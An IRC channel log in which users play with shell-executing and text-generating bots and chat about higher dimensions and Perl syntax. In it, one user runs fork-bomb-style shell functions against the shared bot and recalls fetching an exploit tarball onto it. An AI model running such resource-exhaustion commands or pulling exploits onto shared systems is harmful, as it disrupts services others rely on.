wunderbar_emporium-3.tgz.1 < 1267623961 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267623962 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267623978 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`revert 26419 < 1267623979 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Done. < 1267623982 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267623983 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hello.txt \ help.txt \ huh \ me \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.26693 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1267623989 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :That didn't help < 1267624025 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :`revert 1431 < 1267624028 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Done. < 1267624095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Revert your mother. < 1267624100 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That seems reasonable, it got rid of me and "me". < 1267624119 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :24 hours HackBot fetch http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz < 1267624119 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol? < 1267624152 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It did not quite work out, I guess. < 1267624213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :kiddie < 1267624264 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :One could consider going backwards to 1424 to clean things up a bit. < 1267624383 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what is cube2.base64? < 1267624392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`run wc -c cube2.base64 < 1267624394 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :61187 cube2.base64 < 1267624396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :someone decode it :P < 1267624404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267624404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : run cat cube2.base64 | base64 -d > cube2.jpg < 1267624457 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It seems to be a way of getting a mediocre excuse for pasting a lot of base64 text on IRC. < 1267624470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`run y(){mkdir $RANDOM; y};x(){y|x&};x < 1267624472 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267624478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that was uncannily quick :D < 1267624484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`run y(){mkdir $RANDOM; y};x(){y;x|x&};x < 1267624485 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267624556 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`run tits < 1267624558 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267624563 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`No output < 1267624564 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267624628 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's almost a HackEgo quine. < 1267624638 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(A boring one.) < 1267624646 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Almost boring ! < 1267624678 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267624691 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've always been a bit surprised that $RANDOM has such a common name. I wonder how many shell script authors have done "RANDOM=x" and later been bitten by the contents of $RANDOM. < 1267624961 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267625059 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :it's a scarf < 1267625060 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :a scaarf < 1267625145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wear it around your neck. < 1267625179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: dot is the best thing for drawing graphygraphs isn't it < 1267625182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :say yes < 1267625244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually i can't tell which i want :D < 1267625299 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric : I'm a little worried that sudoku getting even brief attention from Knuth and Peter Norvig may be a greater waste of human intelligence than the combined loss from everyone trying to solve them manually. < 1267625327 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267625328 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run test.sh < 1267625329 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625355 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`define salmiak < 1267625358 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* Salty liquorice, salmiak or salmiakki is a variety of liquorice (confectionery) that contains a relatively large amount of ammonium chloride ... \ [13]en.wikipedia.org/wiki/Salmiak \ < 1267625486 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`define HackEgo < 1267625488 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625580 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`run lisp < 1267625581 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625595 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`run please, a program that prints "No output" < 1267625596 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625598 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it does IRP too! < 1267625606 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267625613 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :well, it doesn't < 1267625621 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: that's sort-of a Kimian quine < 1267625627 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :except not a quine < 1267625630 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just a Kimian execution < 1267625632 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :^ul . < 1267625633 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric : ...bad insn! < 1267625638 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :^ul ...bad insn! < 1267625638 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric : ...bad insn! < 1267625642 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what's kimian? < 1267625648 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: like that Underload quine I just saw < 1267625656 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you have the program be equal to one of the interp's error messages < 1267625662 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ahah < 1267625666 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in such a way, that the error message causes itself < 1267625691 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`bf [+] < 1267625692 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625699 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`bf +[] < 1267625700 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's possible in many languages, but rather depends on the details of the interp < 1267625700 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625701 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen No output. < 1267625715 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :95 +++++++++++[>+++++++>++++++++++>+++>+<<<<-]>+.>+.>-.<.++++++.-.----.+++++.-.>++++++++++++++.>-. [711] < 1267625722 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`bf +++++++++++[>+++++++>++++++++++>+++>+<<<<-]>+.>+.>-.<.++++++.-.----.+++++.-.>++++++++++++++.>-. < 1267625723 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625738 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`bf [+.] < 1267625739 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625742 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`bf +[+.] < 1267625743 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625754 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1267625755 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1267625762 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd bin && ls < 1267625763 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :? \ addquote \ calc \ commands \ creatures \ define \ esolang \ etymology \ fortune \ google \ helpme \ imdb \ karma \ minifind \ paste \ ping \ quote \ rec \ runfor \ sayhi \ strfile \ swedish \ toutf8 \ translate \ translatefromto \ translateto \ unstr \ url \ wolfram < 1267625771 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /bin && ls < 1267625771 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`bf isn't actually a HackEgo command < 1267625773 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ less \ lessecho < 1267625782 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :scarf: you mean not yet < 1267625782 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, cpio? /why/? < 1267625782 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625788 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`fungot style < 1267625789 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: they say that you should always be marked `caution: trap door there may be reproduced, stored in a great hunter, few gods can match his fury. unlike the older race of the ring, by michael jordan) < 1267625789 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267625809 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1267625809 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack* pa speeches ss wp youtube < 1267625819 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I like this fungot style < 1267625819 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :scarf: they say that there are that your wand explodes as you bound across the cold of winter. the christian calendar adopted the same size? salmon gets thinner at both ends." the archchancellor leaned towards him. < 1267625828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: you know dot and stuff don't you? can you have multiple nodes with the same value (say yes) < 1267625841 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if "salmon gets thinner at both ends" is a literal quote, I'll grep the NetHack source
< 1267625881 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I want to understand 4D :( < 1267625887 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is < 1267625888 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :^style c64 < 1267625889 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: c64 (C64 programming material) < 1267625892 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Hello! < 1267625892 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: multicolor sprites 53276 ( d01c). bits 0-7 of memory are used. < 1267625900 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: How do you hax the c64 man < 1267625901 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: preparatory routines: none note: might be plugged into the accumulator. to create a < 1267625901 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's a quote from Terry Pratchett < 1267625902 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :do't you think if you were born 4D you could understand it no problem < 1267625907 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's just a matter of learning < 1267625920 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Do you like this scarf over here? -> < 1267625921 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: 400 next l ( cp/ m(r) 1000 ( hex). if the numeric argument, any computer for everything from lightpens and joysticks to disk drives, printers, and then redefine a particular sprite by means of plug-in expansion cartridges which are the only difference is in a program to display characters on the joystick in controller port 2 to a 1 based on the serial ports. < 1267625922 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :maybe 7D would be easier than 4? < 1267625924 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hmmmm < 1267625937 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: multicolor < 1267625938 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: 10 get junk: if peek(v+30)andx=xthen insert action here. < 1267625944 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: 4 is a special case of 7 < 1267625946 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1267625946 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice c64* ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube < 1267625951 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :$style youtube < 1267625953 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :^style youtube < 1267625953 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: youtube (Some YouTube comments) < 1267625955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: we don't have a 4d spatial universe though < 1267625961 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :oh yes, i remember when I was preparing the youtube style < 1267625963 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: ALISE < 1267625964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we have no way to relate 4d :: things we experience < 1267625977 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Hello? < 1267625983 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Did I break fungot? < 1267625997 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: no, it just ignores people spamming it < 1267626007 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :other people will be able to use it just fine < 1267626014 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Hello < 1267626021 0 :asiekierka!unknown@unknown.invalid NICK :mytheory < 1267626022 0 :mytheory!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Hello < 1267626023 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :mytheory: what the fuck!! the crystal ball thru the vending machine was the second time, some bastard knows who he is on valkyr. the best 4ever!! britain's really got tallent! what < 1267626025 0 :mytheory!unknown@unknown.invalid NICK :asiekierka < 1267626040 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ugh, youtube comments can be really stupid sometimes < 1267626049 0 :asiekierka!unknown@unknown.invalid NICK :mypeory < 1267626057 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, I never figured out what order they were in < 1267626060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Britain's Really Got Tallent < 1267626061 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :fungort < 1267626062 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :fungot < 1267626063 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: u rock dudette! plus he's hot :) the way! i like < 1267626067 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267626068 0 :mypeory!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Give me a scarf < 1267626069 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :mypeory: hi climbdatowerofpower. i get from it without the cod title on it hard to fiqure out what going to do something dumb place to have a custom pc, a eto illusia. < 1267626076 0 :mypeory!unknown@unknown.invalid PRIVMSG #esoteric :I should update it one day < 1267626079 0 :mypeory!unknown@unknown.invalid PRIVMSG #esoteric :it was 500kb of comments < 1267626081 0 :mypeory!unknown@unknown.invalid NICK :asiekierka < 1267626093 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i wanted to make it 1MB < 1267626093 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :tbh, you don't need to Markov youtube comments, they're just as meaningless before and after < 1267626100 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :nah < 1267626103 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you get some intelligent ones sometimes, but they're the exception < 1267626106 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i just wanted a youtube comment generator < 1267626146 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i just can't remember where i had it < 1267626148 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :gotta look for sed < 1267626150 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :it's the same dir < 1267626363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I had an idea < 1267626364 0 :scarf!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267626369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a blend of zoom ui/graph traversing < 1267626378 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, what o you think of 4D? < 1267626381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you have a graph laid out primarily vertically and each node down you go < 1267626384 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it gets smaller < 1267626393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and choosing one path will make that the biggest and zoom in on it < 1267626399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :to show its "children" in a sense < 1267626403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: /shrug < 1267626406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dimensions are cool. < 1267626421 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :4 < 1267626424 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :or 7 < 1267626459 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :90 < 1267626461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :7 < 1267626467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :7 because 4 is explored enough already < 1267626485 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, my assumption is that with enough immersion you could understand 7D as well as 3D < 1267626502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i disagree because the universe is spatially 3d so we understand 3d because we live 3d every single second < 1267626514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2d is a subset, we can do 2d stuff on paper, so we can understand it < 1267626518 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>3d not so much. < 1267626522 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if you lived 7D just as much you could understand it as well < 1267626530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can't live 7d < 1267626531 0 :ais523!~93bcc029@gateway/web/freenode/x-watnzovaowecmgry JOIN :#esoteric < 1267626533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :space doesn't have enough dimensions < 1267626535 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if you just spent one hour in 7D you could get a good intuition < 1267626538 0 :ais523!unknown@unknown.invalid QUIT :Changing host < 1267626538 0 :ais523!~93bcc029@unaffiliated/ais523 JOIN :#esoteric < 1267626538 0 :ais523!unknown@unknown.invalid QUIT :Changing host < 1267626538 0 :ais523!~93bcc029@gateway/web/freenode/x-watnzovaowecmgry JOIN :#esoteric < 1267626548 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that was bizarre < 1267626560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: you /can't/ spend one hour in 7d < 1267626561 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the computer turned itself off for no apparent reason < 1267626582 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :then I turned it on again, and it did a fsck then turned itself off for no apparent reason again < 1267626610 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :OLD NICK TIME < 1267626611 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1267626613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it just wants some rest < 1267626650 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :We live in 3D and what we move in is 4D, the 4th dimension being the line of time. We can control the first, second and third dimension, but we move in the 4th dimension outside our control < 1267626664 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Living in 4D would mean we move uncontrollably in 5D, but we can control the first 4 dimensions < 1267626667 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now it's booted and seems to be working normally < 1267626677 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: Congratulations Einstein you discovered the most trivial thing ever. < 1267626679 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides not to mess around with kqemu for a while
< 1267626704 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :I love discovering the most trivial things ever < 1267626728 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267626744 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1267626822 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :good, found them < 1267626826 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267626864 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :apparently the newest version is q7.txt < 1267626867 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :weighing at 492 kilos < 1267626876 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267627009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sigh — Perl's GraphViz module can't output PDFs. < 1267627014 0 :sebbu!~sebbu@ADijon-152-1-20-179.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267627020 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: what about indirectly? < 1267627026 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :this is Perl, there's probably some way < 1267627044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CBA; instead, I'll use as_text to print the totally rendered form, and pipe it to dot or whatever < 1267627077 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dogt < 1267627089 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I want to understand 7D < 1267627092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :perl diag.pl | dot -Tpdf -o diag.pdf < 1267627122 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :imagine how much better life would be if we lived in 7D < 1267627214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok so i need shorthand for $g->add_node(label => 'foo'), say node('foo') < 1267627225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and I need shorthand for $g->add_edge(a => b), say edge(a => b) < 1267627245 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric : I can implement nethack in hq9+n. < 1267627255 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267627268 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :does shift => shift have a defined evaluation order in perl? I guess not < 1267627283 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: Perl5 isn't defined at all, except by the reference implementation < 1267627289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you know what i mean :| < 1267627294 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, it probably does, because => is syntactic sugar for comma < 1267627299 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise why is the world 3D < 1267627304 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: :-D < 1267627305 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :besides, the evaluation order doesn't matter anyway, as that probably parses as 'shift' => shift < 1267627309 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :darn < 1267627319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: why is the world quantum < 1267627321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it just is < 1267627325 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267627328 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there must be a reason < 1267627332 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and not anthropic principle < 1267627335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, that's religious thinking < 1267627342 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you're moms religious < 1267627356 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :3d + 1 time d is the only "real" dimension, we have a mathematical model of it and if we tweak parameters we get some random other mathematical models that we find make sense in some way < 1267627359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's all just models < 1267627372 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :3D is real ehird < 1267627375 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :just admit it < 1267627375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Darn I actually need sugar for "my $foo = func(label => 'foo')" < 1267627380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: yes, it is. < 1267627387 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: it's Perl, you can sugar what you like < 1267627395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but how :| < 1267627398 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although with "my", it's a little tricky < 1267627407 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you'd probably have to directly inject lexicals into the symbol table or something stupid like that < 1267627412 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :basically I'm abusing perl to use it as a glorified graphviz input format < 1267627414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because DOT sux < 1267627415 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :in 7D normal art would be 6 or 7D < 1267627418 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: :D how < 1267627431 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not entirely sure; ##perl would probably know < 1267627433 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :doing human style 3D sculpture would be considered minimalist and restrictive like haiku < 1267627436 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can do it with globals, but not lexicals < 1267627440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: darn < 1267627444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oh globals is fine < 1267627446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :absolutely fine < 1267627464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :can I even have it so that if I do "$foo = func('x')" it doesn't assign $x? :-D < 1267627551 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if you write «*{"${caller}::$var"} = sub { ... }» in a function, then it creates a subroutine called whatever's in $var in the context of its caller < 1267627565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that's a subroutine < 1267627584 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can do the same with variables: «*{"${caller}::$var"} = \$x» makes the variable called $ followed by the value of $var in the context of the caller into the same variable as $x in the current scope < 1267627597 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, hardlink-style < 1267627601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x_x < 1267627603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what if the scope exists < 1267627605 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*exits < 1267627614 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's the joys of refcounting < 1267627620 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :variables can outlive their scope in Perl < 1267627627 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure all of this just to avoid < 1267627631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :my $usys = node('usys') < 1267627634 0 